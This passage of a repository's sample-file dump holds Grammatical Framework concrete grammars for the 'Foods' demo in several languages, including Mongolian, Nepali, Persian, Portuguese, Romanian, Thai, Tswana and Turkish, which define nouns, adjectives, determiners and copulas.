\"tad-dwejjaq\" ;\n    Fresh = regAdj \"frisk\" ;\n    Italian = regAdj \"Taljan\" ;\n\n  param\n    Number = Sg | Pl ;\n    Gender = Masc | Fem ;\n\n  oper\n    --Create an adjective (full function)\n    --Params: Sing Masc, Sing Fem, Plural\n    adjective : (_,_,_ : Str) -> {s : Gender => Number => Str} = \\iswed,sewda,suwed -> {\n      s = table {\n\tMasc => table {\n\t  Sg => iswed ;\n\t  Pl => suwed\n\t  } ;\n\tFem => table {\n\t  Sg => sewda ;\n\t  Pl => suwed\n\t  }\n\t}\n      } ;\n\n    --Create a regular adjective\n    --Param: Sing Masc\n    regAdj : Str -> {s : Gender => Number => Str} = \\frisk ->\n      adjective frisk (frisk + \"a\") (frisk + \"i\") ;\n\n    --Create a \"uni-adjective\" eg tal-buzz\n    --Param: Sing Masc\n    uniAdj : Str -> {s : Gender => Number => Str} = \\uni ->\n      adjective uni uni uni ;\n\n    --Create a noun\n    --Params: Singular, Plural, Gender (inherent)\n    noun : Str -> Str -> Gender -> {s : Number => Str ; g : Gender} = \\ktieb,kotba,g -> {\n      s = table {\n\tSg => ktieb ;\n\tPl => kotba\n\t} ;\n      g = g\n      } ;\n\n    --Copula is a linking verb\n    --Params: Number, Gender\n    -- copula : Number -> Gender -> Str = \\n,g -> case n of {\n    --   Sg => case g of { Masc => \"huwa\" ; Fem => \"hija\" } ;\n    --   Pl => \"huma\"\n    --   } ;\n\n    --Create an article, taking into account first letter of next word\n    article = pre {\n      \"a\"|\"e\"|\"i\"|\"o\"|\"u\" => \"l-\" ;\n      --cons@(\"ċ\"|\"d\"|\"n\"|\"r\"|\"s\"|\"t\"|\"x\"|\"ż\") => \"i\" + cons + \"-\" ;\n      _ => \"il-\"\n      } ;\n\n    --Create a determinant\n    --Params: Sg/Pl, Masc, Fem\n    det : Number -> Str -> Str -> {s : Number => Str ; g : Gender} -> {s : Str ; g : Gender ; n : Number} = \\n,m,f,cn -> {\n      s = case n of {\n\tSg => case cn.g of {Masc => m ; Fem => f}; --string\n\tPl => m --default to masc\n\t} ++ article ++ cn.s ! n ;\n      g = cn.g ; --gender\n      n = n --number\n      } ;\n\n}\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsMon.gf",
    "content": "--# -path=.:/GF/lib/src/prelude\n\n-- (c) 2009 Nyamsuren Erdenebadrakh under LGPL\n\nconcrete FoodsMon of Foods = open Prelude in {\n  flags coding=utf8;\n\n  lincat\n    Comment, Quality = SS ; \n\tKind = {s : Number => Str} ; \n    Item = {s : Str ; n : Number} ; \n\n  lin\n\tPred item quality = ss (item.s ++ \"бол\" ++ quality.s) ;\n\tThis  = det Sg \"энэ\" ;\n\tThat  = det Sg \"тэр\" ;\n\tThese = det Pl \"эдгээр\" ;\n\tThose = det Pl \"тэдгээр\" ;\n\tMod quality kind = {s = \\\\n => quality.s ++ kind.s ! n} ;\n\tWine = regNoun \"дарс\" ;\n\tCheese = regNoun \"бяслаг\" ;\n\tFish = regNoun \"загас\" ;\n\tPizza = regNoun \"пицца\" ;\n\tVery = prefixSS \"маш\" ;\n\tFresh = ss \"шинэ\" ;\n\tWarm = ss \"халуун\" ;\n\tItalian = ss \"итали\" ;\n\tExpensive = ss \"үнэтэй\" ;\n\tDelicious = ss \"амттай\" ;\n\tBoring = ss \"амтгүй\" ;\n\n  param\n    Number = Sg | Pl ;\n\n  oper\n\tdet : Number -> Str -> {s : Number => Str} -> {s : Str ; n : Number} = \n\t\\n,d,cn -> {\n\t\ts = d ++ cn.s ! n ;\n\t\tn = n\n\t} ;\n  \t\n\tregNoun : Str -> {s : Number => Str} = \n\t\\x -> {s = table {\n\t\tSg => x ; \n\t\tPl => x + \"нууд\"}\n\t\t} ;\n\t}\n\t \n    \n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsNep.gf",
    "content": "-- (c) 2011 Dinesh Simkhada under LGPL\n\nconcrete FoodsNep of Foods = {\n\n  flags coding = utf8 ;\n\n  lincat\n    Comment, Quality = {s : Str} ; \n    Kind = {s : Number => Str} ; \n    Item = {s : Str ; n : Number} ; \n    \n  lin\n    Pred item quality = \n      {s = item.s ++ quality.s ++ copula ! item.n} ;\n      \n    This  = det Sg \"यो\" ;\n    That  = det Sg \"त्यो\" ;\n    These = det Pl \"यी\" ;\n    Those = det Pl \"ती\" ;\n    Mod quality kind = \n      {s = \\\\n => quality.s ++ kind.s ! n} ;\n      \n    Wine = regNoun \"रक्सी\" ;\n    Cheese = regNoun \"चिज\" ;\n    Fish = regNoun \"माछा\" ;\n    Pizza = regNoun \"पिज्जा\" ;\n    Very a = {s = \"धेरै\" ++ a.s} ;\n    Fresh = adj \"ताजा\" ;\n    Warm = adj \"तातो\" ;\n    Italian = adj \"इटालियन\" ;\n    Expensive = adj \"महँगो\" | adj \"बहुमूल्य\" ;\n    Delicious = adj \"स्वादिष्ट\" | adj \"मीठो\" ;\n    Boring = adjPl \"नमिठो\" ;\n  \n  param\n    Number = Sg | Pl ;\n    \n  oper\n    det : Number -> Str -> \n      {s : Number => Str} -> {s : Str ; n : Number} = \n        \\n,det,noun -> {s = det ++ noun.s ! n ; n = n} ;\n    \n    noun : Str -> Str -> {s : Number => Str} = \n      \\man,men -> {s = table {Sg => man ; Pl => men}} ;\n    \n    regNoun : Str -> {s : Number => Str} = \n      \\car -> noun car (car + \"हरु\") ;\n    \n    adjPl : Str -> {s : Str} = \\a -> case a of {\n      bor + \"ठो\" => adj (bor + \"ठा\") ;\n      _ => adj a\n      } ;\n      \n    adj : Str -> {s : Str} = \n      \\cold -> {s = cold} ;\n    \n    copula : Number => Str = \n      table {Sg => \"छ\" ; Pl => \"छन्\"} ;\n}\n\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsOri.gf",
    "content": "concrete FoodsOri of Foods = {\r\n\r\nflags coding = utf8 ;\r\n\r\nlincat\r\n    Comment = Str;\r\n    Item = Str;\r\n    Kind = Str;\r\n    Quality = Str;\r\n\r\nlin\r\n    Pred item quality = item ++ quality ++ \"ଅଟେ\";\r\n    This kind = \"ଏଇ\" ++ kind;\r\n    That kind = \"ସେଇ\" ++ kind;\r\n    These kind = \"ଏଇ\" ++ kind ++ \"ଗୁଡିକ\" ;\r\n    Those kind = \"ସେଇ\" ++ kind ++ \"ଗୁଡିକ\" ;\r\n    Mod quality kind = quality ++ kind;\r\n    Wine  = \"ମଦ\";\r\n    Cheese  = \"ଛେନା\";\r\n    Fish  = \"ମାଛ\";\r\n    Pizza = \"ପିଜଜ଼ା\" ;\r\n    Very quality = \"ଅତି\" ++ quality;\r\n    Fresh  = \"ତାଜା\";\r\n    Warm  = \"ଗରମ\";\r\n    Italian  = \"ଇଟାଲି\";\r\n    Expensive  = \"ମୁଲ୍ୟବାନ୍\";\r\n    Delicious  = \"ସ୍ଵାଦିସ୍ଟ \";\r\n    Boring  = \"ଅରୁଚିକର\";\r\n\r\n}\r\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsPes.gf",
    "content": "concrete FoodsPes of Foods = {\r\n\r\n      flags optimize=noexpand ; coding=utf8 ;\r\n\t  \r\n      lincat\r\n        Comment = {s : Str} ;\r\n\t\tQuality = {s : Add => Str; prep : Str} ;\r\n        Kind = {s : Add => Number => Str ; prep : Str};\r\n        Item = {s : Str ; n : Number};\r\n      lin\r\n        Pred item quality = {s = item.s ++ quality.s ! Indep ++ copula ! item.n} ;\r\n        This = det Sg \"این\" ;\r\n        That = det Sg \"آن\" ;\r\n        These = det Pl \"این\" ;\r\n        Those = det Pl \"آن\" ;\r\n        \r\n        Mod quality kind = {s = \\\\a,n =>  kind.s ! Attr ! n ++ kind.prep ++ quality.s ! a ;                                  \r\n                            prep = quality.prep             \r\n                            };\r\n        Wine = regN \"شراب\" ; \r\n        Cheese = regN \"پنیر\" ;\r\n        Fish = regN \"ماهى\" ;\r\n        Pizza = regN \"پیتزا\" ;\r\n        Very a = {s = \\\\at => \"خیلی\" ++ a.s ! at ; prep = a.prep} ;\r\n        Fresh = adj \"تازه\" ;\r\n        Warm = adj \"گرم\" ;\r\n        Italian = adj \"ایتالیایی\" ;\r\n        Expensive = adj \"گران\" ;\r\n        Delicious = adj \"لذىذ\" ;\r\n        Boring = adj \"ملال آور\" ;  -- it must be written as ملال آور. \r\n     \r\n     param\r\n        Number = Sg | Pl ;\r\n\t\tAdd = Indep | Attr ;\r\n     oper\r\n        det : Number -> Str -> {s: Add => Number => Str ; prep : Str} -> {s : Str ; n: Number} =\r\n           \\n,det,noun -> {s = det ++ noun.s ! Indep ! n ; n = n };\r\n           \r\n        noun : (x1,_,_,x4 : Str) -> {s : Add => Number => Str ; prep : Str} = \\pytzA, pytzAy, pytzAhA,pr -> \r\n         {s = \\\\a,n => case <a,n> of\r\n\t\t        {<Indep,Sg> => pytzA ; <Indep,Pl> => pytzAhA ;\r\n  \t\t\t\t <Attr,Sg>  =>pytzA ; <Attr,Pl>  => pytzAhA + \"ى\" };\r\n\t\t prep = pr\r\n\t\t };\t\t \r\n         \r\n        regN : Str -> {s: Add => Number => Str ; prep : Str} = \\mrd -> \r\n\t\tcase mrd of \r\n\t\t{ _ + (\"ا\"|\"ه\"|\"ى\"|\"و\"|\"\") => noun mrd (mrd+\"ى\") (mrd + \"ها\") \"\";\r\n\t\t  _                        => noun mrd mrd (mrd + \"ها\") \"e\"\r\n\t\t};\r\n        \r\n        adj : Str -> {s : Add => Str; prep : Str} = \\tAzh -> \r\n\t\tcase tAzh of \r\n\t\t{ _ + (\"ا\"|\"ه\"|\"ى\"|\"و\"|\"\") => mkAdj tAzh (tAzh ++ \"ى\") \"\" ;\r\n\t\t  _                        => mkAdj tAzh tAzh \"ه\"\r\n        };\r\n\t\t\r\n\t\tmkAdj : Str -> Str -> Str -> {s : Add => Str; prep : Str} = \\tAzh, tAzhy, pr  ->\r\n\t\t{s = table {Indep => tAzh;\r\n\t\t            Attr => tAzhy};\r\n\t\t prep = pr \t\t\t\r\n\t\t};\r\n        copula : Number => Str = table {Sg => \"است\"; Pl => \"هستند\"};\r\n      \r\n}"
  },
  {
    "path": "samples/Grammatical Framework/FoodsPor.gf",
    "content": "-- (c) 2009 Rami Shashati under LGPL\n\nconcrete FoodsPor of Foods = open Prelude in {\n  flags coding=utf8;\n\n\tlincat\n\t  Comment = {s : Str} ;\n\t  Quality = {s : Gender => Number => Str} ;\n\t  Kind = {s : Number => Str ; g : Gender} ;\n\t  Item = {s : Str ; n : Number ; g : Gender } ;\n\n\tlin\n\t  Pred item quality =\n\t    {s = item.s ++ copula ! item.n ++ quality.s ! item.g ! item.n } ;\n\t  This = det Sg (table {Masc => \"este\" ; Fem => \"esta\"}) ;\n\t  That = det Sg (table {Masc => \"esse\" ; Fem => \"essa\"}) ;\n\t  These = det Pl (table {Masc => \"estes\" ; Fem => \"estas\"}) ;\n\t  Those = det Pl (table {Masc => \"esses\" ; Fem => \"essas\"}) ;\n\n\t  Mod quality kind = { s = \\\\n => kind.s ! n ++ quality.s ! kind.g ! n ; g = kind.g } ;\n\n\t  Wine = regNoun \"vinho\" Masc ;\n\t  Cheese = regNoun \"queijo\" Masc ;\n\t  Fish = regNoun \"peixe\" Masc ;\n\t  Pizza = regNoun \"pizza\" Fem ;\n\n      Very a = { s = \\\\g,n => \"muito\" ++ a.s ! g ! n } ;\n\n      Fresh = mkAdjReg \"fresco\" ;\n      Warm = mkAdjReg \"quente\" ;\n      Italian = mkAdjReg \"Italiano\" ;\n      Expensive = mkAdjReg \"caro\" ;\n      Delicious = mkAdjReg \"delicioso\" ;\n      Boring = mkAdjReg \"chato\" ;\n\n\tparam\n\t  Number = Sg | Pl ;\n\t  Gender = Masc | Fem ;\n\n\toper\n\t  QualityT : Type = {s : Gender => Number => Str} ;\n\n\t  mkAdj : (_,_,_,_ : Str) -> QualityT = \\bonito,bonita,bonitos,bonitas -> {\n\t  \ts = table {\n\t  \t\tMasc => table { Sg => bonito ; Pl => bonitos } ;\n\t  \t\tFem => table { Sg => bonita ; Pl => bonitas }\n\t    } ;\n\t  } ;\n\n\t  -- regular pattern\n\t  adjSozinho : Str -> QualityT = \\sozinho ->\n        let sozinh = Predef.tk 1 sozinho\n        in mkAdj sozinho (sozinh + \"a\") (sozinh + \"os\") (sozinh + \"as\") ;\n\n      -- for gender-independent adjectives\n      adjUtil : Str -> Str -> QualityT = \\util,uteis ->\n        mkAdj util util uteis uteis ;\n\n      -- smart paradigm for adjcetives\n      mkAdjReg : Str -> QualityT = \\a -> case last a of {\n      \t\"o\" => adjSozinho a ;\n        \"e\" => adjUtil a (a + \"s\")\n      } ;\n\n      ItemT : Type = {s : Str ; n : Number ; g : Gender } ;\n\n      det : Number -> (Gender => Str) -> KindT -> ItemT =\n        \\num,det,noun -> {s = det ! noun.g ++ noun.s ! num ; n = num ; g = noun.g } ;\n\n\t  KindT : Type = {s : Number => Str ; g : Gender} ;\n\n\t  noun : Str -> Str -> Gender -> KindT =\n\t    \\animal,animais,gen -> {s = table {Sg => animal ; Pl => animais} ; g = gen } ;\n\n\t  regNoun : Str -> Gender -> KindT =\n\t    \\carro,gen -> noun carro (carro + \"s\") gen ;\n\n\t  copula : Number => Str = table {Sg => \"é\" ; Pl => \"são\"} ;\n}\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsRon.gf",
    "content": "-- (c) 2009 Ramona Enache under LGPL\r\n\r\nconcrete FoodsRon of Foods = \r\n{\r\nflags coding=utf8 ;\r\n\r\nparam Number = Sg | Pl ;\r\n      Gender = Masc | Fem ;\r\n      NGender = NMasc | NFem | NNeut ;\r\nlincat \r\nComment = {s : Str};\r\nQuality = {s : Number => Gender => Str};\r\nKind = {s : Number => Str; g : NGender};\r\nItem = {s : Str ; n : Number; g : Gender};\r\n\r\nlin\r\n\r\nThis = det Sg (mkTab \"acest\" \"această\");\r\nThat = det Sg (mkTab \"acel\" \"acea\");\r\nThese = det Pl (mkTab \"acești\" \"aceste\");\r\nThose = det Pl (mkTab \"acei\" \"acele\");\r\n\r\nWine = mkNoun \"vin\" \"vinuri\" NNeut ;\r\nCheese = mkNoun \"brânză\" \"brânzeturi\" NFem ;\r\nFish = mkNoun \"peşte\" \"peşti\" NMasc ;\r\nPizza = mkNoun \"pizza\" \"pizze\" NFem;\r\n\r\nVery a = {s = \\\\n,g => \"foarte\" ++ a.s ! n ! g};\r\n\r\nFresh = mkAdj \"proaspăt\" \"proaspătă\" \"proaspeţi\" \"proaspete\" ;\r\nWarm = mkAdj \"cald\" \"caldă\" \"calzi\" \"calde\" ;\r\nItalian = mkAdj \"italian\" \"italiană\" \"italieni\" \"italiene\" ;\r\nExpensive = mkAdj \"scump\" \"scumpă\" \"scumpi\" \"scumpe\" ;\r\nDelicious = mkAdj \"delicios\" \"delcioasă\" \"delicioşi\" \"delicioase\" ;\r\nBoring = mkAdj \"plictisitor\" \"plictisitoare\" \"plictisitori\" \"plictisitoare\" ;\r\n\r\nPred item quality = {s = item.s ++ copula ! item.n ++ quality.s ! item.n ! item.g} ;\r\n\r\nMod quality kind = {s = \\\\n => kind.s ! n ++ quality.s ! n ! (getAgrGender kind.g n) ; g = kind.g};\r\n\r\noper \r\n\r\nmkTab : Str -> Str -> {s : Gender => Str} = \\acesta, aceasta ->\r\n{s = table{Masc => acesta;\r\n      Fem  => aceasta}};\r\n\r\ndet : Number -> {s : Gender => Str} -> {s : Number => Str ; g : NGender} -> {s : Str; n : Number; g : Gender} =\r\n\\n,det,noun -> let gg = getAgrGender noun.g n \r\n  in\r\n   {s =  det.s ! gg  ++ noun.s ! n  ; n = n ; g = gg};\r\n\r\nmkNoun : Str -> Str -> NGender -> {s : Number => Str; g : NGender} = \\peste, pesti,g ->\r\n{s = table {Sg => peste;\r\n            Pl => pesti};\r\n g = g\r\n};\r\n\r\noper mkAdj : (x1,_,_,x4 : Str) -> {s : Number => Gender => Str} = \\scump, scumpa, scumpi, scumpe ->\r\n{s = \\\\n,g => case <n,g> of\r\n{<Sg,Masc> => scump ; <Sg,Fem> => scumpa;\r\n<Pl,Masc> => scumpi ; <Pl,Fem> => scumpe\r\n}};\r\n\r\ncopula : Number => Str = table {Sg => \"este\" ; Pl => \"sunt\"};\r\n\r\ngetAgrGender : NGender -> Number -> Gender = \\ng,n ->\r\ncase <ng,n> of\r\n{<NMasc,_> => Masc ; <NFem,_> => Fem;\r\n<NNeut,Sg> => Masc ; <NNeut,Pl> => Fem\r\n};\r\n\r\n}\r\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsSpa.gf",
    "content": "--# -path=.:present\r\n\r\nconcrete FoodsSpa of Foods = open SyntaxSpa, StructuralSpa, ParadigmsSpa in {\r\n\r\n\tlincat\r\n\t\tComment = Utt ;\r\n\t\tItem = NP ;\r\n\t\tKind = CN ;\r\n\t\tQuality = AP ;\r\n\r\n\tlin\r\n\t\tPred item quality = mkUtt (mkCl item quality) ;\r\n\t\tThis kind = mkNP this_QuantSg kind ;\r\n\t\tThat kind = mkNP that_QuantSg kind ;\r\n\t\tThese kind = mkNP these_QuantPl kind ;\r\n\t\tThose kind = mkNP those_QuantPl kind ;\r\n\t\tMod quality kind = mkCN quality kind ;\r\n\t\tVery quality = mkAP very_AdA quality ;\r\n\t\tWine = mkCN (mkN \"vino\") ;\r\n                Pizza = mkCN (mkN \"pizza\") ;\r\n                Cheese = mkCN (mkN \"queso\") ;\r\n                Fish = mkCN (mkN \"pescado\") ;\r\n                Fresh = mkAP (mkA \"fresco\") ;\r\n                Warm = mkAP (mkA \"caliente\") ;\r\n                Italian = mkAP (mkA \"italiano\") ;\r\n                Expensive = mkAP (mkA \"caro\") ;\r\n                Delicious = mkAP (mkA \"delicioso\") ;\r\n                Boring = mkAP (mkA \"aburrido\") ;\r\n\r\n}\r\n\r\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsSwe.gf",
    "content": "--# -path=.:present\n\n-- (c) 2009 Aarne Ranta under LGPL\n\nconcrete FoodsSwe of Foods = FoodsI with \n  (Syntax = SyntaxSwe),\n  (LexFoods = LexFoodsSwe) ** {flags language = sv_SE;} ;\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsTha.gf",
    "content": "--# -path=.:alltenses\r\n\r\nconcrete FoodsTha of Foods = open SyntaxTha, LexiconTha,\r\n  ParadigmsTha, (R=ResTha) in {\r\n\r\n        flags coding = utf8 ;\r\n\r\n\tlincat\r\n\t\tComment = Utt ;\r\n\t\tItem = NP ;\r\n\t\tKind = CN ;\r\n\t\tQuality = AP ;\r\n\r\n\tlin\r\n\t\tPred item quality = mkUtt (mkCl item quality) ;\r\n\t\tThis kind = mkNP this_Det kind ;\r\n\t\tThat kind = mkNP that_Det kind ;\r\n\t\tThese kind = mkNP these_Det kind ;\r\n\t\tThose kind = mkNP those_Det kind ;\r\n\t\tMod quality kind = mkCN quality kind ;\r\n\t\tVery quality = mkAP very_AdA quality ;\r\n\t\tWine = mkCN (mkN (R.thword \"เหล้าอ\" \"งุ่น\") \"ขวด\") ;\r\n                Pizza = mkCN (mkN (R.thword \"พิซ\" \"ซา\") \"ถาด\") ;\r\n                Cheese = mkCN (mkN (R.thword \"เนย\" \"แข็ง\") \"ก้อน\") ;\r\n                Fish = mkCN fish_N ;\r\n                Fresh = mkAP (mkA \"สด\") ;\r\n                Warm = mkAP warm_A ;\r\n                Italian = mkAP (mkA \" อิตาลี\") ;\r\n                Expensive = mkAP (mkA \"แพง\") ;\r\n                Delicious = mkAP (mkA \"อร่อย\") ;\r\n                Boring = mkAP (mkA (R.thword \"น่า\" \"เบิ่อ\")) ;\r\n\r\n}\r\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsTsn.gf",
    "content": "--# -path=alltenses\n\n-- (c) 2009 Laurette Pretorius Sr & Jr and Ansu Berg under LGPL\n\nconcrete FoodsTsn of Foods = open Prelude, Predef in {\n\tflags coding = utf8;\n\tlincat\n\t\tComment = {s:Str};\n\t\tItem = {s:Str; c:NounClass; n:Number};\n\t\tKind = {w: Number => Str; r: Str; c: NounClass; q: Number => Str; b: Bool};\n\t\tQuality = {s: NounClass => Number => Str; p_form: Str; t: TType};\n\tlin\t\n\t\tPred item quality = {s = item.s ++ ((mkPredDescrCop quality.t) ! item.c ! item.n) ++ quality.p_form};\n\n\t\tThis kind = {s = (kind.w ! Sg) ++ (mkDemPron1 ! kind.c ! Sg) ++ (kind.q ! Sg); c = kind.c; n = Sg};\n\t\tThat kind = {s = (kind.w ! Sg) ++ (mkDemPron2 ! kind.c ! Sg) ++ (kind.q ! Sg); c = kind.c; n = Sg};\n\t\tThese kind = {s = (kind.w ! Pl) ++ (mkDemPron1 ! kind.c ! Pl) ++ (kind.q ! Pl); c = kind.c; n = Pl};\n\t\tThose kind = {s = (kind.w ! Pl) ++ (mkDemPron2 ! kind.c ! Pl) ++ (kind.q ! Pl); c = kind.c; n = Pl};\t\n\t\t\n\t\tMod quality kind = mkMod quality kind;\n\n\t-- Lexicon\n\t\tWine = mkNounNC14_6 \"jalwa\";\n\t\tCheese = mkNounNC9_10 \"kase\";\n\t\tFish = mkNounNC9_10 \"thlapi\";\n\t\tPizza = mkNounNC9_10 \"pizza\";\n\t\tVery quality = smartVery quality; \n\t\tFresh = mkVarAdj \"ntsha\";\n\t\tWarm = mkOrdAdj \"bothitho\";\n\t\tItalian = mkPerAdj \"Itali\";\n\t\tExpensive = mkVerbRel \"tura\"; \n\t\tDelicious = mkOrdAdj \"monate\";\n\t\tBoring = mkOrdAdj \"bosula\";\n\t\t\n\tparam\n\t\tNounClass = NC9_10 | NC14_6;\n\t\tNumber = Sg | Pl;\n\t\tTType = P | V | ModV | R ;\t\t\t\t\n\toper\n\t\tmkMod : {s: NounClass => Number => Str; p_form: Str; t: TType} -> {w: Number => Str; r: Str; c: NounClass; q: Number => Str; b: Bool} -> {w: Number => Str; r: Str; c: NounClass; q: Number => Str; \n\t\tb: Bool} = \\x,y -> case y.b of\n\t\t{\n\t\t\tTrue => {w = y.w; r = y.r; c = y.c; \n\t\t\t\tq = table {\n\t\t\t\tSg => ((y.q ! Sg) ++ \"le\" ++ ((smartQualRelPart (x.t)) ! y.c ! Sg) ++ ((smartDescrCop (x.t)) ! \t\t\t\t\ty.c ! Sg) ++ (x.s ! y.c ! Sg)); \n\t\t\t\tPl => ((y.q ! Pl) ++ \"le\" ++ ((smartQualRelPart (x.t))! y.c ! Pl) ++ ((smartDescrCop (x.t)) ! \t\t\t\t\ty.c ! Pl) ++(x.s ! y.c ! Pl))\n\t\t\t\t  }; b = True\n\t\t\t\t};\n\t\t\tFalse => {w = y.w; r = y.r; c = y.c; \n\t\t\t\tq = table {\n\t\t\t\tSg => ((y.q ! Sg) ++ ((smartQualRelPart (x.t)) ! y.c ! Sg) ++ ((smartDescrCop (x.t)) ! y.c ! Sg) \t\t\t\t\t++ (x.s ! y.c ! Sg)); \n\t\t\t\tPl => ((y.q ! Pl) ++ ((smartQualRelPart (x.t)) ! y.c ! Pl) ++ ((smartDescrCop (x.t)) ! y.c ! Pl) \t\t\t\t\t++(x.s ! y.c ! Pl))\n\t\t\t\t  }; b = True\n\t\t\t\t}\n\t\t};\n\n\t\tmkNounNC14_6 : Str -> {w: Number => Str; r: Str; c: NounClass; q: Number => Str; b: Bool} = \\x -> {w = table {Sg => \"bo\" + x; Pl => \"ma\" + x}; r = x; c = NC14_6; \n\t\tq = table {Sg => \"\"; Pl => \"\"}; b = False};\n\t\t\n\t\tmkNounNC9_10 : Str -> {w: Number => Str; r: Str; c: NounClass; q: Number => Str; b: Bool} = \\x -> {w = table {Sg => \"\" + x; Pl => \"di\" + x}; r = x; c = NC9_10; \n\t\tq = table {Sg => \"\"; Pl => \"\"}; b = False};\n\n\t\tmkVarAdj : Str -> {s: NounClass => Number => Str; p_form: Str; t: TType} = \\x -> \n\t\t{\n\t\t\ts = table {\n\t\t\t\tNC9_10 => table {Sg => \"\" + x; Pl => \"di\" + x};\n\t\t\t\tNC14_6 => table {Sg => \"bo\" + x; Pl => \"ma\" + x}\n\t\t\t\t};\n\t\t\tp_form = x;\n\t\t\tt = R;\n\t\t};\n\n\t\tmkOrdAdj : Str -> {s: NounClass => Number => Str; p_form: Str; t: TType} = \\x -> \n\t\t{\n\t\t\ts = table {\n\t\t\t\tNC9_10 => table {Sg => \"\" + x; Pl => \"\" + x};\n\t\t\t\tNC14_6 => table {Sg => \"\" + x; Pl => \"\" + x}\n\t\t\t\t};\n\t\t\tp_form = x;\n\t\t\tt = R;\n\t\t};\n\n\t\tmkVerbRel : Str -> {s: NounClass => Number => Str; p_form: Str; t: TType} = \\x -> \n\t\t{\n\t\t\ts = table {\n\t\t\t\tNC9_10 => table {Sg => x + \"ng\"; Pl => x + \"ng\"};\n\t\t\t\tNC14_6 => table {Sg => x + \"ng\"; Pl => x + \"ng\"}\n\t\t\t\t};\n\t\t\tp_form = x;\n\t\t\tt = V;\n\t\t};\n\n\t\tmkPerAdj : Str -> {s: NounClass => Number => Str; p_form: Str; t: TType} = \\x -> \n\t\t{\n\t\t\ts = table {\n\t\t\t\tNC9_10 => table {Sg => \"\" + x; Pl => \"\" + x};\n\t\t\t\tNC14_6 => table {Sg => \"\" + x; Pl => \"\" + x}\n\t\t\t\t};\n\t\t\tp_form = \"mo\" ++ x;\n\t\t\tt = P;\n\t\t};\n\n\t\tmkVeryAdj : {s: NounClass => Number => Str; p_form: Str; t: TType} -> {s: NounClass => Number => Str; p_form: Str; t: TType} = \\x ->\n\t\t{\n\t\t\ts = table{c => table{n => (x.s!c!n) ++ \"thata\"}}; p_form = x.p_form ++ \"thata\"; t = x.t\n\t\t};\n\n\t\tmkVeryVerb : {s: NounClass => Number => Str; p_form: Str; t: TType} -> {s: NounClass => Number => Str; p_form: Str; t: TType} = \\x ->\n\t\t{\n\t\t\ts = table{c => table{n => (x.s!c!n) ++ \"thata\"}}; p_form = x.p_form ++ \"thata\"; t = ModV\n\t\t};\n\n\t\tsmartVery : {s: NounClass => Number => Str; p_form: Str; t: TType} -> {s: NounClass => Number => Str; p_form: Str; t: TType} = \n\\x -> case x.t of --(x.s!c!n)\n\t\t{\n\t\t\t(V | ModV)\t=>\tmkVeryVerb x;\n\t\t\t--ModV\t=>\tmkVeryVerb x;\n\t\t\t_\t=>\tmkVeryAdj x\n\t\t};\n\n\t\tmkDemPron1 : NounClass => Number => Str = table\n\t\t\t{\n\t\t\t\tNC9_10 => table {Sg => \"e\"; Pl => \"tse\"};\n\t\t\t\tNC14_6 => table {Sg => \"bo\"; Pl => \"a\"}\n\t\t\t};\n\t\t\n\t\tmkDemPron2 : NounClass => Number => Str = table\n\t\t\t{\n\t\t\t\tNC9_10 => table {Sg => \"eo\"; Pl => \"tseo\"};\n\t\t\t\tNC14_6 => table {Sg => \"boo\"; Pl => \"ao\"}\n\t\t\t};\n\n\t\tsmartQualRelPart : TType -> (NounClass => Number => Str) = \\x -> case x of \n\t\t{\n\t\t\tP\t=> mkQualRelPart_PName;\n\t\t\t_\t=> mkQualRelPart\n\t\t};\n\n\t\tmkQualRelPart : NounClass => Number => Str = table\n\t\t\t{\n\t\t\t\tNC9_10 => table {Sg => \"e\"; Pl => \"tse\"};\n\t\t\t\tNC14_6 => table {Sg => \"bo\"; Pl => \"a\"}\n\t\t\t};\n\n\t\tmkQualRelPart_PName : NounClass => Number => Str = table\n\t\t\t{\n\t\t\t\tNC9_10 => table {Sg => \"ya\"; Pl => \"tsa\"};\n\t\t\t\tNC14_6 => table {Sg => \"ba\"; Pl => \"a\"}\n\t\t\t};\n\n\t\tsmartDescrCop : TType -> (NounClass => Number => Str) = \\x -> case x of\n\t\t{\n\t\t\tP\t=> mkDescrCop_PName;\n\t\t\t_\t=> mkDescrCop\n\t\t};\n\n\t\tmkDescrCop : NounClass => Number => Str = table\n\t\t\t{\n\t\t\t\tNC9_10 => table {Sg => \"e\"; Pl => \"di\"};\n\t\t\t\tNC14_6 => table {Sg => \"bo\"; Pl => \"a\"}\n\t\t\t};\n\n\t\tmkDescrCop_PName : NounClass => Number => Str = table\n\t\t\t{\n\t\t\t\tNC9_10 => table {Sg => \"ga\"; Pl => \"ga\"};\n\t\t\t\tNC14_6 => table {Sg => \"ga\"; Pl => \"ga\"}\n\t\t\t};\n\n\t\tmkPredDescrCop : TType -> (NounClass => Number => Str) = \\x -> case x of\n\t\t\t{\n\t\t\t\tV => table \t{NC9_10 => table {Sg => \"e\" ++ \"a\"; Pl => \"di\" ++ \"a\"};\n\t\t\t\t\t\tNC14_6 => table {Sg => \"bo\" ++ \"a\"; Pl => \"a\" ++ \"a\"}};\n\n\t\t\t\t_ => table\t{NC9_10 => table {Sg => \"e\"; Pl => \"di\"};\n\t\t\t\t\t\tNC14_6 => table {Sg => \"bo\"; Pl => \"a\"}}\n\t\t\t};\n\n}\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsTur.gf",
    "content": "{-\n  File      : FoodsTur.gf\n  Author    : Server Çimen\n  Version   : 1.0\n  Created on: August 26, 2009\n\n  This file contains concrete grammar of Foods abstract grammar for Turkish Language.\n  This grammar is to be used for Fridge demo and developed in the scope of GF Resource\n  Grammar Summer School.\n\n-}\n\nconcrete FoodsTur of Foods = open Predef in {\n  flags\n    coding=utf8 ;\n  lincat\n    Comment = {s : Str} ;\n    Quality = {s : Str ; c : Case; softness : Softness; h : Harmony} ;\n    Kind = {s : Case => Number => Str} ;\n    Item = {s : Str; n : Number} ;\n  lin\n    This = det Sg \"bu\" ;\n    That = det Sg \"şu\" ;\n    These = det Pl \"bu\" ;\n    Those = det Pl \"şu\" ;\n    -- Reason for excluding plural form of copula: In Turkish if subject is not a human being,\n    -- then singular form of copula is used regardless of the number of subject. Since all\n    -- possible subjects are non human, copula do not need to have plural form.\n    Pred item quality = 